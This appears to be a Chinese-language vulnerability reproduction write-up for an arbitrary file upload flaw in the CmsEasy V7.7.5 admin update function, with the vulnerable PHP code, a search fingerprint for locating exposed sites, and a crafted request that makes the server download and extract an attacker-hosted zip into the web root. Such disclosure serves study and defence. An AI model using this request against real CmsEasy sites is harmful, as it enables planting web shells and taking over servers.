CmsEasy update_admin.php 后台任意文件上传漏洞

漏洞描述

CmsEasy 后台存在任意文件上传漏洞,通过文件 service.php 加密Url参数执行即可上传任意文件。

影响版本

CmsEasy V7.7.5_20210919

网络测绘

body=”cmseasyedit”

环境搭建

20231031164529920-d2d9b892-2ba5-417c-b412-a4b30794067a (1)

漏洞复现

主页面

20231031164636576-631d0cba-9e4c-4e09-81f2-84a9661dcb9d (1)

存在漏洞的文件为 lib/admin/update_admin.php

20231031165238587-b4402200-7d6e-404e-8bf1-2e588fe2633b (2)

其中需要注意的代码为

function downfile_action()
    {
        $url = front::get('url');
        $url=service::getInstance()->unlockString($url,"cmseasy_url");
        $res = $this->get_file($url, 'cache');
        if (!$res) {
            $res = array(
                'err' => 1,
                'data' => lang_admin('update_package_download_failed'),
            );
        } else {
            @unlink('upgrade/config_cn.php');
            @unlink('upgrade/config_cn.tmp.php');
            @unlink('upgrade/upgrade.sql');
            @unlink('upgrade/command.php');
            front::remove(ROOT.'/cache/data');
            front::remove(ROOT.'/cache/template');//清空全部语言
            $langdata=getlang();
            if($langdata != ""){
                foreach ($langdata as $key=>$val){
                    front::remove(ROOT.'/cache/'.$val['langurlname']);
                    front::remove(ROOT.'/'.$val['langurlname'].'/template');
                }
            }
            //先清空缓存
            user::deletesession();
            category::deletesession();
            //提取分类
            if(file_exists(ROOT."/lib/table/type.php")) {
                type::deletesession();
            }
            //提取专题
            if(file_exists(ROOT."/lib/table/special.php")) {
                special::deletesession();
            }
            $archive = new PclZip('cache/patch.zip');
            $archive->extract(PCLZIP_OPT_PATH, ROOT, PCLZIP_OPT_REPLACE_NEWER);

            if(file_exists('upgrade/upgrade.sql')) {
                $sqlquery = file_get_contents('upgrade/upgrade.sql');
                $sqlquery = str_replace('`cmseasy_', '`' . config::getdatabase('database', 'prefix'), $sqlquery);

                $sqlquery = str_replace("\r", "", $sqlquery);
                $sqls = preg_split("/;(--)*[ \t]{0,}\n/", $sqlquery);
                $this->exec_cms_sql($sqls);
            }

            if(file_exists('upgrade/command.php')){
                include ROOT . '/upgrade/command.php';
            }
            $res = array(
                'err' => 0,
                'message' => $this->message,
                'data' => lang_admin('upgrade_successful'),
            );
        }

        echo json_encode($res);
        exit;
    }

其中使用 unlockString 和 get_file 方法

$url = front::get('url');
$url=service::getInstance()->unlockString($url,"cmseasy_url");
$res = $this->get_file($url, 'cache');

20231031165359877-949fc09e-d8b2-48f3-bdfe-6c972944c8b4 (1)

写入后在上层目录写入文件,即Web根目录,创建压缩包并上传可访问的服务器上

zip phpinfo.zip phpinfo.php

构造下载请求

20231031165455733-c29386d5-f528-4aa3-9e5c-3e6f40ac1609 (1)

/index.php?case=update&act=downfile&admin_dir=admin&site=default&url=buTdBnP8%3DJ%3DELYuF8Z2IwZyM-awr9fH%3D0cax6mxICukxw

20231031165600391-82f047a6-042e-44e7-9875-86387dbccb41 (1)

20231031165652547-74e01c25-8f68-403e-85aa-280163a4b545 (1)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容